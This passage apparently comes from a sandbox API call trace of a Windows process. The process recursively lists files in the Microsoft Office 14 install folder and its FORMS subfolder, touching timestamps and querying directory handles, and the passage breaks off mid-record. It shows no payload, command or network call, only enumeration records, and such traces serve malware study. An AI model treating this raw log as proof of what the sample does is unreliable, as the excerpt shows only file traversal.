out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0069.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.765] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.765] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.765] NtClose (Handle=0x148) returned 0x0 [0069.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.766] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0069.766] GetLastError () returned 0x12 [0069.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.766] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.767] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.767] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.767] NtClose (Handle=0x148) returned 0x0 [0069.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.767] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.771] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.772] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f898 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079310 [0069.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.772] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f8b8 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079208 [0069.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, 